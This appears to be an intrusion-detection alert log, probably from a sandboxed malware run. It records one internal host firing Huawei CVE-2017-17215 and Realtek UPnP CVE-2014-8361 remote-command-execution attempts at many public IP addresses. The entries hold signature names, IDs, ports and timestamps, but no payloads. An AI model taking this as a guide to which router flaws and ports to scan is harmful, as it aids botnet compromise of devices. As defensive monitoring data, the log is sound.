ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.242.29.232

Timestamp:	07/20/24-23:01:06.994337
SID:	2835222
Source Port:	40450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.63.42.28

Timestamp:	07/20/24-23:01:56.304951
SID:	2027339
Source Port:	54288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.232.226.131

Timestamp:	07/20/24-23:01:53.999179
SID:	2027339
Source Port:	43092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.69.166.230

Timestamp:	07/20/24-23:02:06.767377
SID:	2027339
Source Port:	60718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 149.8.44.5

Timestamp:	07/20/24-23:01:50.313415
SID:	2025132
Source Port:	42688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.111.26.76

Timestamp:	07/20/24-23:01:02.047411
SID:	2835222
Source Port:	43302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.56.63.93

Timestamp:	07/20/24-23:01:47.808678
SID:	2025132
Source Port:	53342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.64.148.15

Timestamp:	07/20/24-23:01:27.730585
SID:	2835222
Source Port:	54896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.169.129.161

Timestamp:	07/20/24-23:01:02.104572
SID:	2835222
Source Port:	32886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.157.224.96

Timestamp:	07/20/24-23:01:41.236294
SID:	2025132
Source Port:	55250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.81.97.111

Timestamp:	07/20/24-23:01:47.766845
SID:	2027339
Source Port:	49744
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 1.70.219.104

Timestamp:	07/20/24-23:01:00.634089
SID:	2835222
Source Port:	48680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.208.1.181

Timestamp:	07/20/24-23:01:47.006773
SID:	2027339
Source Port:	37276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.12.149.189

Timestamp:	07/20/24-23:01:44.464382
SID:	2027339
Source Port:	42596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.61.70.96

Timestamp:	07/20/24-23:01:59.738271
SID:	2027339
Source Port:	44640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.231.189.109

Timestamp:	07/20/24-23:00:57.221301
SID:	2835222
Source Port:	49974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 103.227.74.238

Timestamp:	07/20/24-23:01:31.333872
SID:	2831300
Source Port:	51986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.250.44.72

Timestamp:	07/20/24-23:01:46.520663
SID:	2027339
Source Port:	52002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.239.240.238

Timestamp:	07/20/24-23:01:52.305893
SID:	2027339
Source Port:	60312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.92.100

Timestamp:	07/20/24-23:00:59.158279
SID:	2829579
Source Port:	58944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.80.10.211

Timestamp:	07/20/24-23:01:20.599458
SID:	2027339
Source Port:	34350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.1.86

Timestamp:	07/20/24-23:01:11.636599
SID:	2835222
Source Port:	42506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.244.205.180

Timestamp:	07/20/24-23:01:04.058922
SID:	2829579
Source Port:	57500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.36.62.56

Timestamp:	07/20/24-23:01:42.780168
SID:	2027339
Source Port:	46568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.202.157.65

Timestamp:	07/20/24-23:01:46.225146
SID:	2025132
Source Port:	47758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.98.241.246

Timestamp:	07/20/24-23:01:27.653586
SID:	2829579
Source Port:	51976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.109.235.175

Timestamp:	07/20/24-23:02:17.128771
SID:	2025132
Source Port:	53648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.52.107.77

Timestamp:	07/20/24-23:01:12.861753
SID:	2027339
Source Port:	49736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.48.156.196

Timestamp:	07/20/24-23:00:59.168569
SID:	2835222
Source Port:	35840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.80.122.96

Timestamp:	07/20/24-23:01:47.749865
SID:	2027339
Source Port:	59638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.145.205.177

Timestamp:	07/20/24-23:01:44.878540
SID:	2027339
Source Port:	51740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 217.159.91.139

Timestamp:	07/20/24-23:01:00.633984
SID:	2829579
Source Port:	36626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.126.189.157

Timestamp:	07/20/24-23:01:00.640312
SID:	2835222
Source Port:	57110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.115.27.6

Timestamp:	07/20/24-23:01:08.615260
SID:	2027339
Source Port:	46546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.50.75.236

Timestamp:	07/20/24-23:01:43.039504
SID:	2027339
Source Port:	37938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.57.28.204

Timestamp:	07/20/24-23:01:45.350108
SID:	2027339
Source Port:	57110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.141.77.94

Timestamp:	07/20/24-23:01:48.216693
SID:	2831300
Source Port:	49644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 95.71.29.54

Timestamp:	07/20/24-23:01:59.704241
SID:	2025132
Source Port:	54748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.0.10.232

Timestamp:	07/20/24-23:01:43.203681
SID:	2027339
Source Port:	43904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.242.54.73

Timestamp:	07/20/24-23:01:20.132511
SID:	2835222
Source Port:	53800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.78.214.126

Timestamp:	07/20/24-23:01:47.995637
SID:	2027339
Source Port:	54930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 152.44.195.237

Timestamp:	07/20/24-23:01:42.014480
SID:	2831300
Source Port:	46038
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.206.154.241

Timestamp:	07/20/24-23:01:44.500152
SID:	2025132
Source Port:	40244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.138.195.141

Timestamp:	07/20/24-23:01:44.602081
SID:	2025132
Source Port:	33104
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.45.118.19

Timestamp:	07/20/24-23:01:07.075937
SID:	2835222
Source Port:	40714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.116.61.223

Timestamp:	07/20/24-23:01:42.501090
SID:	2025132
Source Port:	60800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.143.249.204

Timestamp:	07/20/24-23:01:54.672544
SID:	2027339
Source Port:	37854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.234.117.101

Timestamp:	07/20/24-23:01:20.603553
SID:	2027339
Source Port:	60298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.83.62.168

Timestamp:	07/20/24-23:01:42.672378
SID:	2831300
Source Port:	58926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.243.28.32

Timestamp:	07/20/24-23:01:27.656128
SID:	2835222
Source Port:	35156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.50.177.22

Timestamp:	07/20/24-23:01:31.986571
SID:	2829579
Source Port:	50630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.132.161.86

Timestamp:	07/20/24-23:01:49.055673
SID:	2027339
Source Port:	58984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 121.14.221.201

Timestamp:	07/20/24-23:01:20.181938
SID:	2835222
Source Port:	37164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.65.169.99

Timestamp:	07/20/24-23:01:40.310207
SID:	2829579
Source Port:	56386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.191.190.54

Timestamp:	07/20/24-23:01:58.423882
SID:	2027339
Source Port:	37532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.253.20.234

Timestamp:	07/20/24-23:01:58.608087
SID:	2831300
Source Port:	37112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.41.229.158

Timestamp:	07/20/24-23:01:44.922746
SID:	2831300
Source Port:	55594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.29.47.240

Timestamp:	07/20/24-23:01:49.271801
SID:	2027339
Source Port:	54610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.245.168.107

Timestamp:	07/20/24-23:01:20.098209
SID:	2835222
Source Port:	38716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.147.225.215

Timestamp:	07/20/24-23:01:45.580167
SID:	2831300
Source Port:	40960
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.25.106.26

Timestamp:	07/20/24-23:01:04.053605
SID:	2829579
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.158.177.85

Timestamp:	07/20/24-23:01:51.290278
SID:	2027339
Source Port:	33108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.75.91.9

Timestamp:	07/20/24-23:01:55.508957
SID:	2027339
Source Port:	43964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.7.27.198

Timestamp:	07/20/24-23:01:31.983105
SID:	2829579
Source Port:	55394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.142.124.162

Timestamp:	07/20/24-23:01:51.979094
SID:	2027339
Source Port:	41372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.241.127.58

Timestamp:	07/20/24-23:00:59.178062
SID:	2829579
Source Port:	34654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 197.25.236.70

Timestamp:	07/20/24-23:01:41.322614
SID:	2025132
Source Port:	60750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 148.228.70.58

Timestamp:	07/20/24-23:01:31.333071
SID:	2831300
Source Port:	39858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.106.199.227

Timestamp:	07/20/24-23:01:48.520303
SID:	2027339
Source Port:	33856
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.60.131.118

Timestamp:	07/20/24-23:01:20.156820
SID:	2835222
Source Port:	34000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 180.155.132.167

Timestamp:	07/20/24-23:01:04.961552
SID:	2025132
Source Port:	42842
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.18.145.215

Timestamp:	07/20/24-23:01:44.158709
SID:	2027339
Source Port:	38834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.171.202.164

Timestamp:	07/20/24-23:01:49.537827
SID:	2025132
Source Port:	59670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.34.49.149

Timestamp:	07/20/24-23:01:02.316096
SID:	2025132
Source Port:	49258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 1.136.199.61

Timestamp:	07/20/24-23:01:00.645051
SID:	2829579
Source Port:	55228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.71.96.96

Timestamp:	07/20/24-23:01:41.286382
SID:	2027339
Source Port:	45518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 148.113.15.213

Timestamp:	07/20/24-23:01:55.820768
SID:	2025132
Source Port:	45600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 196.117.225.80

Timestamp:	07/20/24-23:01:58.504284
SID:	2831300
Source Port:	33126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.229.235.45

Timestamp:	07/20/24-23:01:47.420081
SID:	2831300
Source Port:	33654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.1.100.136

Timestamp:	07/20/24-23:01:43.147289
SID:	2831300
Source Port:	41806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.139.23.30

Timestamp:	07/20/24-23:01:04.050503
SID:	2829579
Source Port:	38646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.191.217.231

Timestamp:	07/20/24-23:01:12.841280
SID:	2027339
Source Port:	60678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.64.232.40

Timestamp:	07/20/24-23:01:50.845923
SID:	2027339
Source Port:	55978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.146.19.98

Timestamp:	07/20/24-23:01:42.677933
SID:	2027339
Source Port:	37062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.233.238.80

Timestamp:	07/20/24-23:01:49.278428
SID:	2027339
Source Port:	37428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.204.197

Timestamp:	07/20/24-23:01:11.631010
SID:	2835222
Source Port:	55038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.141.27.208

Timestamp:	07/20/24-23:01:45.965905
SID:	2027339
Source Port:	56456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.188.189.35

Timestamp:	07/20/24-23:01:44.640473
SID:	2027339
Source Port:	33286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 175.193.29.172

Timestamp:	07/20/24-23:00:57.221504
SID:	2835222
Source Port:	48608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.99.109.50

Timestamp:	07/20/24-23:01:02.395457
SID:	2027339
Source Port:	52660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 68.46.168.107

Timestamp:	07/20/24-23:01:04.757513
SID:	2025132
Source Port:	35420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 117.49.51.0

Timestamp:	07/20/24-23:01:01.308250
SID:	2025132
Source Port:	47302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.116.148.181

Timestamp:	07/20/24-23:01:02.745352
SID:	2027339
Source Port:	50118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.181.95.82

Timestamp:	07/20/24-23:01:24.933370
SID:	2835222
Source Port:	52192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 154.117.210.216

Timestamp:	07/20/24-23:01:47.614619
SID:	2831300
Source Port:	59020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.20.45.153

Timestamp:	07/20/24-23:01:01.839255
SID:	2025132
Source Port:	41974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.152.150.214

Timestamp:	07/20/24-23:01:02.762457
SID:	2025132
Source Port:	40778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.3.222.239

Timestamp:	07/20/24-23:01:42.497728
SID:	2831300
Source Port:	37924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.205.109.96

Timestamp:	07/20/24-23:01:46.113314
SID:	2027339
Source Port:	55710
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

